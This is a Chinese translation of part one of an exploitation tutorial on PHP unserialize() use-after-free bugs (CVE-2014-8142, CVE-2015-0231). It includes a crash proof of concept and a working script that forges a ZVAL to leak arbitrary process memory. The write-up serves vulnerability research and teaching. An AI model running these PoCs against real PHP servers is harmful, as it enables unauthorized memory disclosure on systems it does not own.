作者:
Chuck
·
2015/02/10 10:14
0x00 前言
作者:Cigital公司的安全顧問Qsl1pknotp
題目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1
地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
很多人都認為,對基於Web的應用程式來說,記憶體崩潰類bug不是什麼嚴重問題。尤其現在XSS和SQL隱碼攻擊類漏洞仍然大行其事的情況下,不會有多少注意力投入到這類bug中,它們會被當做“不可利用”或者被直接無視。然而,假如攻擊成功,利用這類漏洞進行攻擊所導致的結果將遠遠超出SQL隱碼攻擊以及XSS,因為:
1. 攻擊者將得到有保證的系統訪問權。
2. 將會很難識別惡意攻擊資料流量。
3. 需要維護者/供應商提供專門補丁,並且只能希望修補得沒有問題。
接下來筆者將發表三篇該系列攻擊的文章,本文是其中的首篇。該系列將從CVE-2014-8142的利用開始講起、然後是遠端任意資訊洩露、最後以獲取PHP直譯器的控制權結束。Stefan Esser(@i0n1c)是這兩個CVE的原作者,並且是在2010年Syscan上第一個講解如何控制PHP直譯器(被稱為“ret2php”)的。
0x01 漏洞起源
這一切都始於2004年,Esser在unserialize()函式中發現的一個Use After Free漏洞。這是一個Hardened-PHP(譯者注:如果專案中,伺服器的安全性是最重要的,就可以稱為是Hardened-PHP)專案的一部分,沒有任何程式碼公開。2010年,Esser又在SPLObjectStorage的unserialize()中發現另一個User After Free,這個漏洞直接產生了Syscan會上的一個發言,跟第一次漏洞一樣,本次也沒有程式碼公開。最後,CVE-2014-8142被發現,又被打補丁,但是因為補丁沒打好,又導致了CVE-2015-0231。
幸運的是,這次Stefan終於給出了一個可令PHP直譯器產生故障的POC。下面的程式碼就會導致有此漏洞的PHP直譯器出現問題。
#!php
<?php
for ($i=4; $i<100; $i++) {
var_dump($i);
$m = new StdClass();
$u = array(1);
$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);
$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}
?>
source: StefanEsser_Original_POC
0x02 漏洞分析利用
下面來解釋下POC是如何工作的:我們透過重新新增“aaa”物件的值(不同值),來更新物件“aaa”,然而“ccc”物件其實還是指向原始“aaa”物件中的某一個值。
既然我們已經在頂層實現上知道了它的工作原理,接下來就讓我們一起試著找到問題的罪魁禍首吧。我們在process_nested_data函式中尋找,快速瀏覽一下,會發現一段特定的程式碼:
讓我們一起跟進指令碼中來確定真正發生了什麼。我們將斷點斷在var_unserializer.c的第337行來看一下(此處位於process_nested_data函式內)。
繼續執行,跟過下面的程式碼:
#!php
<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>
source:StefanEsser_Original_LocalMemLeak.php
執行上面的指令碼,斷點第一次命中時跳過,第二次命中時,執行下面的檢視命令:
#!php
printzv *(var_entries)var_hash->first
可以看到地址的一個陣列,這些地址指向unserialize()函式解析的變數值。我們感興趣的是第五個0xb7bf87c0(我們上面php程式碼中用的是R:5)。既然已經得到地址,我們就去看一下內容,然後步過該斷點並繼續執行。
已經呼叫完該可疑函式,接下來重新看一下剛才我們選定的地址中出現了什麼內容:
成功搞定!當然,還需要確認下該地址是否還在var_hash表中,然後繼續執行。
果然還在,繼續:
Sweet!已經可以洩露前面地址中的資料了。我們現在已經可以成功洩露出之前所提供字串的長度,但這其實沒什麼意思。那麼能不能洩露出任意記憶體資料呢?下面就是你想要的程式碼:
#!php
<?php
$fakezval = pack(
'IIII', //unsigned int
0x08048000, //address to leak
0x0000000f, //length of string
0x00000000, //refcount
0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);
for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
$v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>
source: PHPLeak
下面是輸出資料:
我們這裡做的操作是非常簡單的(希望是)。我們建立自己的ZVAL(PHP使用的內部資料結構)資料結構。我們定義了幾個東西,使pack()函式獲取我們的程式碼執行。按照順序,它們是:
型別(例子中用的是unsigned int)
地址(我們想要洩露的地址)
長度(我們想要洩露記憶體的長度)
參考標誌(0)
資料型別(6,代表String型別)
當然,如果我們沒有偽造一個string ZVAL結構,這些值是會變化的。程式碼中的for迴圈是真正執行記憶體覆蓋操作(覆蓋之前釋放掉的記憶體),這些操作使我們得到上述的輸出資料。程式碼中我令迴圈數$i的值大於其所需的值,只是用以確保程式碼的通用性,當然我測試過的大多數機器只需要2次就可以了,不需要執行5次。
好了,現在已經可以洩露隨意地址資料了,讓我們再一起看看CVE-2015-0231?很簡單:只需將“aaa”替換成“123”,看一下輸出的資料:
0x03 下一步研究
透過上述過程,我們已經完成了一個可在本地洩露任意記憶體地址資料的POC,且該POC同時適用於兩個CVE漏洞的。我們下一步目標是仍然是資料洩露,所不同的是,將會是遠端資料洩露!
敬請期待第二回,遠端資料洩露!
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!